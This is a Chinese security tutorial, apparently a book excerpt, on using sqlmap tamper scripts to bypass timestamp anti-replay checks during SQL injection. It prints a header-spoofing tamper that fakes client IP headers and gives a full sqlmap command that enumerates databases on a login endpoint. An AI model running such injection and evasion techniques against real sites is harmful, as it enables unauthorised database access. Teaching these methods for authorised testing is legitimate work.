3.10 使用tamper绕过时间戳进行注入

简介: 3.10 使用tamper绕过时间戳进行注入

3.10 使用tamper绕过时间戳进行注入

3.10.1 时间戳简介

  1. 时间戳定义

时间戳是指格林威治时间1970年01月01日 00时00分00秒(北京时间1970年01月01日 08时00分00秒) 起至现在的总秒数,通俗的讲,时间戳是能够表示一份数据在一个特定时间点已经存在的完整的可验证的数据,她的提出主要是为了给用户提供一份电子证据,以证明用户的某些数据的产生时间,在实际应用中,她可以使用在包括电子商务,金融活动的各个方面,尤其可以用来支撑公开密钥基础设施的"不可否认性"服务

  1. 函数中的时间戳

UNIX时间戳(UNIX Timestamp) 或称UNIX时间(UNIX Time) POSIX时间(POSIX Time) 是一种时间表示方式,定义同上,UNIX时间戳不仅被使用在UNIX系统,类UNIX系统中(如:Linux系统) ,也在许多其他操作系统中被广泛采用

(1) PHP中获取时间戳的方法: time();Date()

(2) Linux中获取时间戳的方法:date +%s

(3) Linux中将时间戳转换为日期:date -d "@"

  1. 时间戳的Python代码

Python 2和3版本都可以执行

!/usr/bin/env python

coding=utf8

import time

t = time.time()

timestamp = int(round(t * 1000))

timestamp = str(timestamp)

print (timestamp)

  1. 时间戳在安全上的意义

很多站点为了增加攻击成本,提升站点的安全性,就会采用随机数+时间戳+username的方式进行安全验证,同时每天对该值进行清理,避免抓包重放攻击,Timestamp是根据服务器当前时间生成的一个字符串,与nonce 随机数放在一起,可以表示服务器在某个时间点生成的随机数,这样就算生成的随机数相同,但是因为她们的时间点不一样,所以也算有效的随机数,所以一些注重安全的站点会使用此方法采取了一些防范措施来防止重放攻击,简单的理解就是为了防范使用Burpsuite通过各种时间戳组合进行抓包重放攻击

3.10.2 分析sqlmap中的插件代码

xforwardedfor.py 插件代码,代码位置在sqlmap的 tamper目录下有个xforwardedfor.py插件

部分代码:

def tamper(payload, **kwargs):

"""

Append a fake HTTP header 'X-Forwarded-For' (and alike)

"""



headers = kwargs.get("headers", {})  # 以字典的方式取出header包头数据

headers["X-Forwarded-For"] = randomIP() # 然后将headers包头数据中的X-Forwarded-for地址使用随机地址

headers["X-Client-Ip"] = randomIP()

headers["X-Real-Ip"] = randomIP()

headers["CF-Connecting-IP"] = randomIP()

headers["True-Client-IP"] = randomIP()



# Reference: https://developer.chrome.com/multidevice/data-compression-for-isps#proxy-connection

headers["Via"] = "1.1 Chrome-Compression-Proxy"



# Reference: https://wordpress.org/support/topic/blocked-country-gaining-access-via-cloudflare/#post-9812007

headers["CF-IPCountry"] = random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0]



return payload

3.10.3 编写绕过时间戳代码

  1. 代码文件

作者随书配套有对应的代码文件

  1. 使用方法

文件名:replacehead.py , 将该文件复制到tamper目录下,使用方法如下:

sqlmap.py -u "http://xxx.com/openapi/v1/users/login" --data "(\"loginid\":\"13121838135\", \"passowrd\":\"12345\")" --tamper "replacehead" --dbms=mysql -v 5 --dbs --proxy=http://127.0.0.1:9988

相关文章
|
XML 安全 测试技术
XXE 外部实体注入漏洞
XXE 外部实体注入漏洞
104 0
|
2月前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
171 1
|
4月前
|
SQL 监控 安全
命令注入攻击
【8月更文挑战第17天】
105 2
|
7月前
|
关系型数据库 MySQL
Mysql注入 -- 注入类型
Mysql注入 -- 注入类型
48 1
|
7月前
|
SQL 数据库
SQL注入基础(报错注入及延时注入)
SQL注入基础(报错注入及延时注入)
54 0
|
7月前
|
安全 关系型数据库 MySQL
Mysql注入 -- 延时注入
Mysql注入 -- 延时注入
129 0
|
7月前
|
SQL 安全 关系型数据库
05GET注入-盲注
【1月更文挑战第6天】给单位零基础小伙伴准备的网安入门教程,本教程是基于蚁景实验室搭建,基于自建虚拟机搭建需自行准备前置环境,05GET注入-盲注 ,请遵守网络安全法!请遵守网络安全法!请遵守网络安全法!请勿破坏公共网络网络安全!
|
Python
关于SSTI模块注入的常见绕过方法
关于SSTI模块注入的常见绕过方法
261 0
|
安全
非法文件的包含攻击是什么意思?底层原理是什么?
非法文件的包含攻击是什么意思?底层原理是什么?
320 0
|
SQL XML 安全
半小时了解SQL注入漏洞?(注入方式大全+绕过大全)
🏆今日学习目标: 🍀学习了解sql注入漏洞
394 0

热门文章

最新文章